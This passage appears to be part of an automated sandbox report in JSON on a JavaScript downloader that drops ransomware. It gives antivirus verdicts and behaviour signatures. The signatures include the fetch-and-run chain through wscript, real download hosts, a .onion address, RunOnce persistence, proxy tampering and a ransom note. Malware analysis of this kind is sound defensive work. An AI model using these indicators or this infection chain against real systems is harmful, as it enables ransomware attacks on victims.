rogress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Heuristic-js.iacgm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"Trojan.VBS.Downloader.4736","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/JSDl-BO","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"JS.Downloader.D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"JS_NEMU.B8971FE1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"JS_NEMU.B8971FE1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"JS.Dropper.NW","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.JS.Downloader","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"wscript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 60283-1968-004148CA","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$24","origin":"API Call","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"damynghedunglinh.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"198.143.137.42:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"wscript.exe\" created file \"%TEMP%\\RPNLgeRHJ2.exe\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$25","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"wscript.exe\" called \"WScript.Shell.1.CreateObject\" ... \n \"wscript.exe\" called \"Msxml2.XMLHTTP.CreateObject\" ... \n \"wscript.exe\" called \"WScript.Shell.1.ExpandEnvironmentStrings\" with result: \"%TEMP%\\ ..., \"wscript.exe\" called \"Msxml2.XMLHTTP.open\" ... , \"wscript.exe\" called \"Msxml2.XMLHTTP.setRequestHeader\" ... , \"wscript.exe\" called \"Msxml2.XMLHTTP.responseBody\" with result: \"MZ\" ..., \"wscript.exe\" called \"ADODB.Stream.6.0.CreateObject\" ... , \"wscript.exe\" called \"ADODB.Stream.6.0.Type\" ... , \"wscript.exe\" called \"ADODB.Stream.6.0.Write\" ... , \"wscript.exe\" called \"ADODB.Stream.6.0.Position\" ... , \"wscript.exe\" called \"ADODB.Stream.6.0.SaveToFile\" ... , \"wscript.exe\" called \"WScript.Shell.1.Exec\" ...","origin":"API Call","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"wscript.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Parsed Javascript","description":"$26","origin":"Static Parser","relevance":5,"id":"static-25","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"RPNLgeRHJ2.exe\" (UID: 00060951-00003368) was launched with new environment variables: \"PROMPT=\"$P$G\"\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Requested access to a system service","description":"\"wscript.exe\" called \"OpenService\" to access the \"Sens\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"wscript.exe\" called \"OpenService\" to access the \"rasman\" service\n \"wscript.exe\" called \"OpenService\" to access the \"RASMAN\" service","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c START \"\" %TEMP%\\RPNLgeRHJ2.exe\" on 2017-12-29.01:59:44.979","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/c START \"\" %TEMP%\\RPNLgeRHJ2.exe\" (UID: 00060935-00000536)\n Spawned process \"RPNLgeRHJ2.exe\" (UID: 00060951-00003368)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"Installation/Persistance","name":"Creates new processes","description":"\"wscript.exe\" is creating a new process (Name: \"%WINDIR%\\System32\\cmd.exe\", Handle: 1188)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"RPNLgeRHJ2.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"autoexec.bat\" has type \"data\"\n \"Read___ME.html\" has type \"HTML document ASCII text with very long lines with CRLF LF line terminators\"\n \"desktop.ini\" has type \"data\"\n \"desktop.ini\" has type \"Big-endian UTF-16 Unicode text with very long lines with no line terminators\"\n \"Desert.jpg\" has type \"data\"\n \"Sleep Away.mp3\" has type \"data\"\n \"config.sys\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"wscript.exe\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$27","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"damynghedunglinh.com\"\n Pattern match: \"http://www.w3.org/TR/html4/strict.dtd\"\n Pattern match: \"https://www.torproject.org/projects/torbrowser.html.en\"\n Pattern match: \"http://n224ezvhg4sgyamb.onion/sup.php\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"wscript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"RPNLgeRHJ2.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"wscript.exe\" wrote bytes \"4053c5775858c677186ac677653cc7770000000000bf71770000000056cc7177000000007cca7177000000003768e1756a2cc777d62dc777000000002069e1750000000029a6717700000000a48de17500000000f70e717700000000\" to virtual address \"0x764C1000\" (part of module \"NSI.DLL\")\n \"wscript.exe\" wrote bytes \"92e6c27779a8c777be72c777d62dc7771de2c27705a2c777bee3c277616fc7776841c5770050c57700000000ad3707768b2d0776b641077600000000\" to virtual address \"0x75271000\" (part of module \"WSHTCPIP.DLL\")\n \"wscript.exe\" wrote bytes \"7739c37779a8c777be72c777d62dc7771de2c27705a2c777c868c67757d1cd77bee3c277616fc7776841c5770050c57700000000ad3707768b2d0776b641077600000000\" to virtual address \"0x757C1000\" (part of module \"WSHIP6.DLL\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"\"DES\" (Indicator: \"des\"; File: \"00060951-00003368.00000002.67446.00422000.00000002.mdmp\")","origin":"File/Memory","relevance":10,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"RPNLgeRHJ2.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"RPNLgeRHJ2.exe\" read file \"C:\\Users\\desktop.ini\"\n \"RPNLgeRHJ2.exe\" read file \"%PUBLIC%\\desktop.ini\"\n \"RPNLgeRHJ2.exe\" read file \"%PUBLIC%\\Videos\\desktop.ini\"\n \"RPNLgeRHJ2.exe\" read file \"%PUBLIC%\\Videos\\Sample Videos\\desktop.ini\"\n \"RPNLgeRHJ2.exe\" read file \"%PUBLIC%\\Recorded TV\\desktop.ini\"\n \"RPNLgeRHJ2.exe\" read file \"%PUBLIC%\\Recorded TV\\Sample Media\\desktop.ini\"\n \"RPNLgeRHJ2.exe\" read file \"%PUBLIC%\\Pictures\\desktop.ini\"\n \"RPNLgeRHJ2.exe\" read file \"%PUBLIC%\\Pictures\\Sample Pictures\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"RPNLgeRHJ2.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"1e71e61ebcabc7b5da7e797fd28656c6684c03a632131e8341757152328370af.js\" has type \"DOS executable (COM)\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"RPNLgeRHJ2.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"RPNLgeRHJ2.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"BROWSERUPDATECHECK\"; Value: \"%APPDATA%\\RPNLgeRHJ2.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"5a46110f7ca3e143107c8193"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"\"

Your files are Encrypted!

\" (Source: Read___ME.html, Indicator: \"files are encrypted\")\n \" dftw